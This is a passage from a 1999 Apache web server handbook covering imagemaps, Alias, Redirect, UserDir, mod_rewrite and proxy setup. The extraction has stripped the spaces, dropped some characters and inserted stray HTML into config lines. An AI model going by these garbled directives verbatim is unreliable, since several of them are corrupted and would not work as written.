</html>
Thisdisplaysthenowfamiliarpictureofthebenchandasksyoutoindicatewhichsideyoupreferbyclickingonit.YoumustincludetheISMAPattributeinthe
<IMG>tagtoactivatethisbehavior.Apache'simagemaphandlerthenreferstothefile/site.imap/htdocs/bench.maptomakesenseofthemouseclick
coordinates.Itfindsthefollowinglinesinthatfile:
rectleft.html0,0118,144
rectright.html118,0237,144
whichsetuptwoareasintheleftandrighthalvesoftheimageanddesignatethefilesleft.htmlandright.htmltobereturnedifthemouseclickoccursinthe
correspondingrectangle.Noticethatthepointsareexpressedasx,y<whitespace>.Ifyouclickintheleftrectangle,theURLwww.butterthlies.com/left.html
isaccessed,andyouseethemessage:
Youliketositontheleft
andconverselyforclicksontherightside.Inarealapplication,thesefileswouldbemenusleadingindifferentdirectionsheretheyaresimpletextfiles:
Youliketositontheleft
Youliketositontheright
Inarealsystem,youmightnowwanttodisplaythecontentsofanotherdirectory,ratherthanthecontentsofafile(whichmightbeanHTMLdocumentthatitselfisa
menu).Todemonstratethis,wehaveadirectory,/htdocs/things,whichcontainstherubbishfiles1,2,3.Ifwereplaceleft.htmlinbench.mapwith
things,asfollows:
rectthings0,0118,144
rectright.html118,0237,144
wesee:
Indexof/things
.ParentDirectory
.1
.2
.3
TheformattingofthismenuisnotaffectedbythesettingforIMapMenu.
Howdoweknowwhatthecoordinatesoftherectanglesare(forinstance,0,0118,144)?Ifweaccesssides.htmlandputthecursoronthepictureofthe
bench,Netscapehelpfullyprintsitscoordinatesonthescreen,followingtheURLanddisplayedinalittlewindowatthebottomoftheframe.Forinstance:
http://192.168.123.2/bench.map?98,125
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page156
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ItisquiteeasytomissthisiftheNetscapewindowistoonarroworstretchesoffthebottomofthescreen.Wecanthenjotdownonabitofpaperthatthepicture
runsfrom0,0atthetopleftcornerto237,144atthebottomright.Halfof237is118.5,so118willdoasthedividingline.
Wearenotlimitedtorectanglesenclosingthecursor.Wecanhavethefollowingobjects:
polygons
Invokedwithpoly,followedby3to100points.Apachereturnsthepolygonthatenclosesthecursor.
circles
Invokedwithcircle,followedbythecenterandapointonthecircle(soifthecenterisx,yandyouwantittohavearadiusR,thepointcouldbex+R,yor
x,yR).Apachereturnsthecirclethatenclosesthecursor.
points
Invokedwithpoint,followedbyitscoordinates.Apachereturnsthenearestpointtothecursor.
Wedividedtheimageofthebenchintotworectangles:
0,0118,144
118,0237,144
Thecenterpointsofthesetworectanglesare:
59,72
177,72
sowecanrewritebench.mapas:
pointleft.html59,72
pointright.html177,72
andgetthesameeffect.
Theversionofbench.mapforpolygonslookslikethis:
polyleft.html0,0118,0118,1440,144
polyright.html118,0237,0237,144118,114
Forcircles,weusethepointsaboveascentersandadd118/2=59tothexcoordinatesfortheradius.Thisshouldgiveustwocirclesinwhichthecursorisdetected
andtherestofthepicture(rightinthecorners,forinstance)inwhichitisnot.
circleleft.html59,72118,72
circleright.html177,72237,72
Theusefulthingaboutcirclesforthisexerciseisthatifweclickinthecornersofthepicturewegenerateanerrorcondition,sincethecornersareoutsidethecircles,
andtherebyexerciseImapDefault.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page157
Thereisathirddirectivefortheconfigurationfile.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ImapMenu
ImapMenu[none|formatted|semiformatted|unformatted]
Serverconfig,virtualhost,directory,.htaccess
Thisdirectiveappliesifmappingfailsorifthebrowserisincapableofdisplayingimages.IfthesiteisaccessedusingatextbasedbrowsersuchasLynx,amenuis
displayedshowingthepossibilitiesinthe.mapfile:
MENUFOR/BENCH.MAP
things
right.html
ThisisformattedaccordingtotheargumentgiventoImapMenu.Theeffectaboveisproducedbyformatted.Themanualexplainstheoptionsasfollows:
formatted
Aformattedmenuisthesimplestmenu.Commentsintheimagemapfileareignored.Aleveloneheaderisprinted,thenahorizontalrule,thenthelinks,eachona
separateline.Themenuhasaconsistent,plainlookclosetothatofadirectorylisting.
semiformatted
Inthesemiformattedmenu,commentsareprintedwheretheyoccurintheimagemapfile.BlanklinesareturnedintoHTMLbreaks.Noheaderorhorizontal
ruleisprinted,butotherwisethemenuisthesameasaformattedmenu.
unformatted
Commentsareprintedblanklinesareignored.Nothingisprintedthatdoesnotappearintheimagemapfile.Allbreaksandheadersmustbeincludedascommentsin
theimagemapfile.Thisgivesyouthemostflexibilityovertheappearanceofyourmenus,butrequiresyoutotreatyourmapfilesasHTMLinsteadofplaintext.
Theargumentnoneredisplaysthedocumentsides.html.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page158
8
Redirection
Fewthingsareeverinexactlytherightplaceattherighttime,andthisisastrueofmostwebserversasofanythingelseinthisvaleoftears.AliasandRedirect
allowrequeststobeshuntedaboutyourfilesystemoraroundtheWeb.Althoughinaperfectworlditshouldneverbenecessarytodothis,inpracticeitisoftenuseful
tobeabletomoveHTMLfilesaroundontheserver,oreventoadifferentserver,withouthavingtochangeallthelinksintheHTMLscript. Amorelegitimateuse
ofAlias,atleastistorationalizedirectoriesspreadaroundthesystem.Forexample,theymaybemaintainedbydifferentusers,andperhapsmayevenbeheldon
remotelymountedfilesystems.ButAliascanmakethemappeartobegroupedinamorelogicalway.
ScriptAliasallowsyoutorunCGIscripts,withoutwhichfewwebsitescouldfunction.Youhaveachoice:everythingthatScriptAliasdoes,andmuch
more,canbedonebythenewRewritedirective(describedlaterinthischapter),butatacostofsomerealprogrammingeffort.
ScriptAliasisrelativelysimpletouse,butitisalsoagoodexampleofApache'smodularitybeingalittlelessmodularthanwemightlike.Although
ScriptAliasisdefinedinmod_alias.cintheApachesourcecode,itneedsmod_cgi.c(oranymodulethatdoesCGI)inordertofunction.Thefunctionalityof
mod_alias.cisonewayofcausingCGIscriptstorun.ItiscompiledintoApachebydefault.
Thehttpd.conffileonsite.aliascontainsthefollowing:
Userwebuser
Groupwebgroup
Toomuchofthiskindofthingcanmakeyoursitedifficulttomaintain.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page159
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ServerNamewww.butterthlies.com
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.alias/htdocs/customers
ErrorLog/usr/www/site.alias/logs/customers/error_log
TransferLog/usr/www/site.alias/logs/customers/access_log
Alias/somewhere_else/usr/www/somewhere_else
<VirtualHostsales.butterthlies.com>
ServerAdminsales_mgr@butterthlies.com
DocumentRoot/usr/www/site.alias/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.alias/logs/salesmen/error_log
TransferLog/usr/www/site.alias/logs/salesmen/access_log
</VirtualHost>
ScriptAlias
ScriptAliasurl_pathdirectory_or_Component
Serverconfig,virtualhost
WehavealreadycomeacrossScriptAlias(seeChapter4,CommonGatewayInterface(CGI)).Itallowsscriptstobestoredsafelyoutofthewayofprying
fingersand,moreover,automaticallymarksthedirectorywheretheyarestoredascontainingCGIscripts.
ScriptAliasMatch
ScriptAliasMatchregexdirectory_or_Component
Serverconfig,virtualhost
ThesuppliedregularexpressionismatchedagainsttheURL,andifitmatches,theserverwillsubstituteanyparenthesizedmatchesintothegivenstringandusethemas
aComponent.Forexample,toactivatethestandard/cgibin,onemightuse:
ScriptAliasMatch^/cgibin/(. )/usr/local/apache/cgibin/$1
Alias
Aliasurl_pathdirectory_or_Component
Serverconfig,virtualhost
TheAliasdirectiveallowsdocumentstobestoredsomewhereinthefilesystemotherthanundertheDocumentRoot.Wecandemonstratethissimplyby
creatinganewdirectory,/usr/www/somewhere_else,andputtinginitafilelost.txt,whichhasthismessageinit:
Iamsomewhereelse
Nowedithttpd.confsothatitlookslikethis:
TransferLog/usr/www/site.alias/logs/customers/access_log
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page160
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Alias/somewhere_else/usr/www/somewhere_else
<VirtualHostbutterthlies_sales
Rungoand,fromthebrowser,accesshttp://www.butterthlies.com/somewhere_else/.
Wesee:
Indexof/somewhere_else
.ParentDirectory
.lost.txt
IfweclickonParentDirectory,wearriveattheDocumentRootforthisserver,/usr/www/site.alias/htdocs/customers,not,asmightbeexpected,
at/usr/www.ThisisbecauseParentDirectoryreallymeans"parentURL,"whichishttp://www.butterthlies.com/thiscase.
Whatsometimespuzzlespeople(eventhosewhoknowaboutitbuthavetemporarilyforgotten)isthatifyougotohttp://www.butterthlies.com/,andthere'sno
readymadeindex,youdon'tseesomewhere_elselisted.
Notethatyoudonotwanttowrite:
Alias/somewhere_else//usr/www/somewhere_else
(withatrailing''/"afterthefirstsomewhere_else)sincethiscanproducebafflingNotFounderrorsfortheclient.
AliasMatch
AliasMatchregexdirectory_or_Component
Serverconfig,virtualhost
Again,likeScriptAliasMatch,thisdirectivetakesaregularexpressionasthefirstargument.Otherwise,itisthesameasAlias.
UserDir
UserDirdirectory
Default:UserDirpublic_html
Serverconfig,virtualhost
Thebasicideahereisthattheclientisaskingfordatafromauser'shomedirectory.Heasksforhttp://www.butterthlies.com/~peter,whichmeans"Peter'shome
directoryonthecomputerwhoseDNSnameiswww.butterthlies.com."TheUserDirdirectivesetstherealdirectoryinauser'shomedirectorytousewhena
requestforadocumentforauserisreceived.directoryisoneofthefollowing:
Thenameofadirectoryorapatternsuchasthoseshownintheexamplesthatfollow.
Thekeyworddisabled.Thisturnsoffallusernametodirectorytranslationsexceptthoseexplicitlynamedwiththeenabledkeyword.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page161
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thekeyworddisabledfollowedbyaspacedelimitedlistofusernames.Usernamesthatappearinsuchalistwillneverhavedirectorytranslationperformed,
eveniftheyappearinanenabledclause.
Thekeywordenabledfollowedbyaspacedelimitedlistofusernames.Theseusernameswillhavedirectorytranslationperformedevenifaglobaldisableisin
effect,butnotiftheyalsoappearinadisabledclause.
IfneithertheenablednorthedisabledkeywordappearsintheUserDirdirective,theargumentistreatedasaComponentpatternandisusedtoturnthe
nameintoadirectoryspecification.Arequestforhttp://www.foo.com/~bob/one/two.htmlwillbetranslatedasfollows:
UserDirpublic_html ~bob/public_html/one/two.html
UserDir/usr/web /usr/web/bob/one/two.html
UserDir/home/* /www /home/bob/www/one/two.html
Thefollowingdirectiveswillsendredirectstotheclient:
UserDirhttp://www.foo.com/users http://www.foo.com/users/bob/one/two.html
UserDirhttp://www.foo.com/* /usr http://www.foo.com/bob/usr/one/two.html
UserDirhttp://www.foo.com/~* / http://www.foo.com/~bob/one/two.html
Becarefulwhenusingthisdirectiveforinstance,UserDir./wouldmap/~rootto"/",whichisprobablyundesirable.IfyouarerunningApache1.3orabove,it
isstronglyrecommendedthatyourconfigurationincludeaUserDirdisabledrootdeclaration.
UnderWin32,Apachedoesnotunderstand
homedirectories,sotranslationsthatendupin
homedirectoriesontherighthandside(seethe
firstexample),willnotwork.
Redirect
Redirecturlpathurl
Serverconfig,virtualhost,directory,.htaccess
TheRedirectdirectivemapsaURLontoanewone.
RedirectMatch
RedirectMatchregexurl
Serverconfig,virtualhost,directory,.htaccess
Again,RedirectMatchworkslikeRedirect,exceptthatittakesaregularexpressionasthefirstargument.
IntheButterthliesbusiness,sadtorelate,thesalespeoplehavebeenabusingtheirpowersandperquisites,andithasbeendecidedtoteachthemalessonbyhiding
theirbelovedsecretsfileandsendingthemtotheordinarycustomers'sitewhentheytrytoaccessit.Howhumiliating!Easilydone,though.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page162
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Edithttpd.conf:
<VirtualHostsales.butterthlies.com>
ServerAdminsales_mgr@butterthlies.com
Redirect/secretshttp://www.butterthlies.com
DocumentRoot/usr/www/site.alias/htdocs/salesmen
TheexactplacingoftheRedirectdoesn'tmatter,aslongasitissomewhereinthe<VirtualHost>section.Ifyounowaccess
http://sales.butterthlies.com/secrets,youareshuntedstraighttothecustomers'indexathttp://www.butterthlies.com/.
AnimportantdifferencebetweenAliasandRedirectisthatthebrowserbecomesawareofthenewlocationinaRedirect,butdoesnotinanAlias,
andthisnewlocationwillbeusedasthebasisforrelativehotlinksfoundintheretrievedHTML.
Rewrite
Theprecedingsectiondescribedthealiasmoduleanditsallies.Everythingthesedirectivescando,andmore,canbedoneinsteadbymod_rewrite.c,anextremely
compendiousmodulethatisalmostacompletesoftwareproductinitsownright. Thedocumentationisthorough,andthereaderisreferredto
http://www.engelschall.com/pw/apache/rewriteguide/foranyseriouswork.Thissectionisintendedfororientationonly.
RewritetakesarewritingpatternandappliesittotheURL.Ifitmatches,arewritingsubstitutionisappliedtotheURL.Thepatternsareregularexpressions
familiartousallintheirsimplestformforexample,mod. \.c,whichmatchesanymoduleComponent.Thecompletescienceofregularexpressionsissomewhat
extensive,andthereaderisreferredto/src/regex/regex.7,amanpagethatcanbereadwithnroffmanregex.7(onFreeBSD,atleast).Regular
expressionsarealsodescribedinthePOSIXspecificationandinJeffreyFriedl'sMasteringRegularExpressions(O'Reilly&Associates).Theessenceofregular
expressionsisthatanumberofspecialcharacterscanbeusedtomatchpartsofincomingURLs.
ThesubstitutionscanincludemappingfunctionsthattakebitsoftheincomingURLandlookthemupindatabasesorevenapplyprogramstothem.Therulescanbe
appliedrepetitivelyandrecursivelytotheevolvingURL.Itispossible(asthedocumentationsays)tocreate"rewritingloops,rewritingbreaks,chainedrules,pseudo
ifthenelseconstructs,forcedredirects,forcedMIMEtypes,forcedproxymodulethroughout."Thefunctionalityissoextensivethatitisprobablyimpossibletomas
ButforsimpletasksAliasandfriendsaremucheasiertouse.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page163
teritintheabstract.Whenandifyouhaveaproblemofthissort,itlooksasifmod_rewritecansolveit,givenenoughintellectualhorsepoweronyourpart!
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Themodulecanbeusedinfoursituations:
BytheadministratorinsidetheserverConfigfiletoapplyinallcontexts.TherulesareappliedtoallURLsofthemainserverandallURLsofthevirtualservers.
Bytheadministratorinside<VirtualHost>blocks.TherulesareappliedonlytotheURLsofthevirtualserver.
Bytheadministratorinside<Directory>blocks.Therulesareappliedonlytothespecifieddirectory.
Byusersintheir.htaccessfiles.Therulesareappliedonlytothespecifieddirectory.
Thedirectiveslooksimpleenough.
RewriteEngine
RewriteEngineon_or_off
Serverconfig,virtualhost,directory
Enablesordisablestherewritingengine.Ifoff,norewritingisdoneatall.UsethisdirectivetoswitchofffunctionalityratherthancommentingoutRewriteRule
lines.
RewriteLog
RewriteLogComponent
Serverconfig,virtualhost
SendsloggingtothespecifiedComponent.Ifthenamedoesnotbeginwithaslash,itistakentoberelativetotheserverroot.Thisdirectiveshouldappearonly
onceinaConfigfile.
RewriteLogLevel
RewriteLogLevelnumber
Defaultnumber:0
Serverconfig,virtualhost
Controlstheverbosityofthelogging:0meansnologging,and9meansthatalmosteveryactionislogged.Notethatanumberabove2slowsApachedown.
RewriteMap
RewriteMapmapname{txt,dbm,prg,rnd,int}:Component
Serverconfig,virtualhost
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page164
Definesanexternalmapnamefilethatinsertssubstitutionstringsthroughkeylookup.Themodulepassesmapnameaqueryintheform:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
$(mapname:Lookupkey|DefaultValue)
IftheLookupkeyvalueisnotfound,DefaultValueisreturned.
Thetypeofmapnamemustbespecifiedbythenextargument:
txt
Indicatesplaintextformat,thatis,anASCIIfilewithblanklines,commentsthatbeginwith"#",orusefullines,intheformat:
MatchingKeySubstituteValue
dbm
IndicatesDBMhashfileformat,thatis,abinaryNDBM(the"new"dbminterface,nowabout15yearsold,alsousedfordbmauth)filecontainingthesamematerial
astheplaintextformatfile.YoucreateitwithanyndbmtoolorbyusingthePerlscriptdbmmanagefromthesupportdirectoryoftheApachedistribution.
prg
Indicatesprogramformat,thatis,anexecutable(acompiledprogramoraCGIscript)thatisstartedbyApache.Ateachlookup,itispassedthekeyasastring
terminatedbynewlineonstdinandreturnsthesubstitutionvalue,orthewordNULLiflookupfails,inthesamewayonstdout.Themanualgivestwowarnings:
Keeptheprogramorscriptsimplebecauseifithangs,ithangstheApacheserver.
Don'tusebufferedI/Oonstdoutbecauseitcausesadeadlock.InC,use:
setbuf(stdout,NULL)
InPerl,use:
select(STDOUT)$|=1]
rnd
Indicatesrandomizedplaintext,whichissimilartothestandardplaintextvariantbuthasaspecialpostprocessingfeature:afterlookingupavalue,itisparsed
accordingtocontained"|"charactersthathavethemeaningof"or".Inotherwords,theyindicateasetofalternativesfromwhichtheactualreturnedvalueischosen
randomly.Althoughthissoundscrazyanduseless,itwasactuallydesignedforloadbalancinginareverseproxysituation,inwhichthelookedupvaluesareserver
nameseachrequesttoareverseproxyisroutedtoarandomlyselectedserverbehindit.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page165
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
int
IndicatesaninternalApachefunction.Twofunctionsexist:toupper()andtolower(),whichconvertthelookedupkeytoalluppercaseoralllowercase.
RewriteBase
RewriteBaseBaseURL
Directory,.htaccess
Theeffectsofthiscommandcanbefairlyeasilyachievedbyusingtherewriterules,butitmaysometimesbesimplertoencapsulatetheprocess.Itexplicitlysetsthe
baseURLforperdirectoryrewrites.IfRewriteRuleisusedinan.htaccessfile,itispassedaURLthathashadthelocaldirectorystrippedoffsothattherules
actonlyontheremainder.Whenthesubstitutionisfinished,RewriteBasesuppliesthenecessaryprefix.Toquotethemanual'sexample:
RewriteBase/xyz
RewriteRule^oldstuff\.html$newstuff.html
Inthisexample,arequestto/xyz/oldstuff.htmlgetsrewrittentothephysicalfile/abc/def/newstuff.html.Internally,thefollowinghappens:
1.Request:/xyz/oldstuff.html
2.Internalprocessing:
/xyz/oldstuff.html
/abc/def/oldstuff.html
/abc/def/newstuff.html
/xyz/newstuff.html
/abc/def/oldstuff.html(perserverAlias)
/abc/def/newstuff.html(perdirRewriteRule)
/xyz/newstuff.html(perdirRewriteBase)
/abc/def/newstuff.html(perserverAlias)
3.Result:/abc/def/newstuff.html
RewriteCond
RewriteCondTestStringCondPattern
Serverconfig,virtualhost,directory
OneormoreRewriteConddirectivescanprecedeaRewriteRuledirectivetodefineconditionsunderwhichitistobeapplied.CondPatternisa
regularexpressionmatchedagainstthevalueretrievedforTestString,whichcontainsservervariablesoftheform%{NAME_OF_VARIABLE},where
NAME_OF_VARIABLEcanbeoneofthefollowinglist:
API_VERSION
PATH_INFO
SERVER_PROTOCOL
AUTH_TYPE
QUERY_STRING
SERVER_SOFTWARE
DOCUMENT_ROOT
REMOTE_ADDR
THE_REQUEST
ENV:any_environment_variable
REMOTE_ADDR
THE_REQUEST
HTTP_ACCEPT
REMOTE_USER
TIME_DAY
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page166
HTTP_COOKIE
REMOTE_IDENT
TIME_HOUR
HTTP_FORWARDED
REQUEST_Component
TIME_MIN
HTTP_HOST
REQUEST_METHOD
TIME_MON
HTTP_PROXY_CONNECTION
REQUEST_URI
TIME_SEC
HTTP_REFERER
SCRIPT_Component
TIME_WDAY
HTTP_USER_AGENT
SERVER_ADMIN
TIME_YEAR
HTTP:any_HTTP_header
SERVER_NAME
IS_SUBREQ
SERVER_PORT
ThesevariablesallcorrespondtothesimilarlynamedHTTPMIMEheaders,CvariablesoftheApacheserver,orthecurrenttime.Iftheregularexpressiondoesnot
match,theRewriteRulefollowingitdoesnotapply.
RewriteRule
RewriteRulePatternSubstitution[flags]
Serverconfig,virtualhost,directory
Thisdirectivecanbeusedasmanytimesasnecessary.Eachoccurrenceappliestheruletotheoutputoftheprecedingone,sotheordermatters.Patternis
matchedtotheincomingURLifitsucceeds,theSubstitutionismade.Anoptionalargument,flags,canbegiven.Theflags,whichfollow,canbe
abbreviatedtooneortwoletters:
redirect|R
Forceredirect.
proxy|P
Forceproxy.
last|L
Lastrule:GototopofrulewithcurrentURL.
chain|C
Applyfollowingchainedruleifthisrulematches.
type|T=mimetype
Forcetargetfiletobemimetype.
nosubreq|NS
Skipruleifitisaninternalsubrequest.
env|E=VAR:VAL
Setanenvironmentvariable.
qsappend|QSA
Appendaquerystring.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page167
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
passthrough|PT
Passthroughtonexthandler.
skip|S=num
Skipthenextnumrules.
next|N
Nextroundstartatthetopoftherulesagain.
gone|G
ReturnsHTTPresponse410"URLGone."
forbidden|F
ReturnsHTTPresponse403"URLForbidden."
Forexample,saywewanttorewriteURLsoftheform:
/Language/~Realname//File
into:
/u/Username//File.Language
Wetaketherewritemapfilegivenpreviouslyandsaveitunder/anywhere/map.realtouser.ThenweonlyhavetoaddthefollowinglinestotheApacheserver
Configfile:
RewriteLog/anywhere/rewrite.log
RewriteMaprealtousertxt:/anywhere/map.realtohost
RewriteRule^/([^/]+)/~([^/]+)/(. )$/u/${realtouser:$2|nobody}/$3.$1
ARewriteExample
TheButterthliessalespeopleseemtobetakingtheirjobsmoreseriously.OurrangehasincreasedsomuchthattheoldcatalogbasedaroundasingleHTMLscriptis
nolongerworkablebecausetherearetoomanycards.Wehavebuiltadatabaseofcardsandautilitycalledcardinfothataccessesitusingthearguments:
cardinfocardidquery
wherecardidisthenumberofthecard,andqueryisoneofthefollowingwords:"price,""artist,"or''size."Theproblemisthatthesalespeoplearetoobusyto
rememberthesyntax,sowewanttoletthemlogontothecarddatabaseasifitwereawebsite.Forinstance,goingtohttp://sales.butterthlies.com/info/2949/price
wouldreturnthepriceofcardnumber2949.TheConfigfileisin/site.rewrite:
Userwebuser
Groupwebgroup
#Apacherequiresthisservername,althoughinthiscaseitwill
#neverbeused.
#Thisisusedasthedefaultforanyserverthatdoesnotmatcha
#VirtualHostsection.
ServerNamewww.butterthlies.com
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page168
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
NameVirtualHost192.168.123.2
<VirtualHost"target="_BLANK">www.butterthlies.com>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.rewrite/htdocs/customers
ServerNamewww.butterthlies.com
ErrorLog/usr/www/site.rewrite/logs/customers/error_log
TransferLog/usr/www/site.rewrite/logs/customers/access_log
</VirtualHost>
<VirtualHostsales.butterthlies.com>
ServerAdminsales_mgr@butterthlies.com
DocumentRoot/usr/www/site.rewrite/htdocs/salesmen
OptionsExecCGIindexes
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.rewrite/logs/salesmen/error_log
TransferLog/usr/www/site.rewrite/logs/salesmen/access_log
RewriteEngineon
RewriteLoglogs/rewrite
RewriteLogLevel9
RewriteRule^/info/([^/]+)/([^/]+)$/cgibin/cardinfo?$2+$1[PT]
ScriptAlias/cgibin/usr/www/cgibin
</VirtualHost>
Inreallifecardinfowouldbeanelaborateprogram.However,herewejusthavetoshowthatitcouldwork,soitisextremelysimple:
#!/bin/sh
#
echo"contenttype:text/html"
echosales.butterthlies.com
echo"Youmadethequery$1onthecard$2"
Tomakesureeverythingisinorderbeforewedoitforreal,weturnRewriteEngineoffandaccesshttp://sales.butterthlies.com/cgibin/cardinfo.We
getbackthefollowingmessage:
TherequestedURL/info/2949/pricewasnotfoundonthisserver.
Thisisnotsurprising.WenowturnRewriteEngineonandlookatthecruciallineintheConfigfile,whichis:
RewriteRule^/info/([^/]+)/([^/]+)$/cgibin/cardinfo?$2+$1[PT]
TranslatedintoEnglishthismeansthefollowing:atthestartofthestring,match/info/,followedbyoneormorecharactersthataren't"/",andputthosecharacters
intothevariable$1(theparenthesesdothis$1becausetheyarethefirstset).Thenmatcha"/",thenoneormorecharactersaren't"/",andputthosecharacters
into$2.Thenmatchtheendofthestringandpasstheresultthrough[PT]tothenextrule,whichisScriptAlias.Weendupasifwehadaccessed
http://sales.butterthlies.com/cgibin/cardinfo?<cardID>+<query>.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page169
IftheCGIscriptisonadifferentwebserverforsomereason,wecouldwrite:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
RewriteRule^/info/([^/]+)/([^/]+)$http://somewhere.else.com/cgibin/
cardinfo/$2+$1[PT]
Notethatthispatternwon'tmatch/info/123/price/fred,becauseithastoomanyslashesinit.
Ifwerunallthiswith./go,andaccesshttp://sales.butterthlies.com/info/2949/pricefromtheclient,weseethefollowingmessage:
Youmadethequerypriceoncard2949
Speling
Ausefulmodule,mod_speling, hasbeenaddedtothedistribution.Itcorrectsmiscapitalizations,andmanyomitted,transposed,ormistypedcharactersin
URLscorrespondingtofilesordirectories,bycomparingtheinputwiththefilesystem.Notethatitdoesnotcorrectmisspelledusernames.
CheckSpelling
CheckSpelling[on|off]
Anywhere
Yes,wedidspelthatcorrectly.Anotherofthoseprogrammer'sjokes,we'reafraid.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page170
9
ProxyServer
AnimportantconcernontheWebiskeepingtheBadGuysoutofyournetwork(seeChapter13,Security).Oneestablishedtechniqueistokeepthenetworkhidden
behindafirewallthisworkswell,butassoonasyoudoit,italsomeansthateveryoneonthesamenetworksuddenlyfindsthattheirviewoftheNethasdisappeared
(ratherlikepeoplelivingnearMiamiBeachbeforeandafterthebuildingboom).ThisbecomesanurgentissueatButtherthlies,Inc.,ascompetitionheatsupand
naughtymindedBadGuyskeeptryingtobreakoursecurityandgetin.Weinstallafirewalland,anticipatingtheinstantoutcriesfromthemarketinganimalswhoneed
togetoutontheWebandsurfforprey,wealsoinstallaproxyservertogetthemoutthere.
So,inadditiontotheApachethatservesclientsvisitingoursitesandisprotectedbythefirewall,weneedacopyofApachetoactasaproxyservertoletus,inour
turn,accessothersitesoutontheWeb.Withouttheproxyserver,thoseinsidearesafebutblind.
ProxyDirectives
Wearenotconcernedherewithfirewalls,sowetakethemforgranted.TheinterestingthingishowweconfiguretheproxyApachetomakelifewithafirewall
tolerabletothosebehindit.
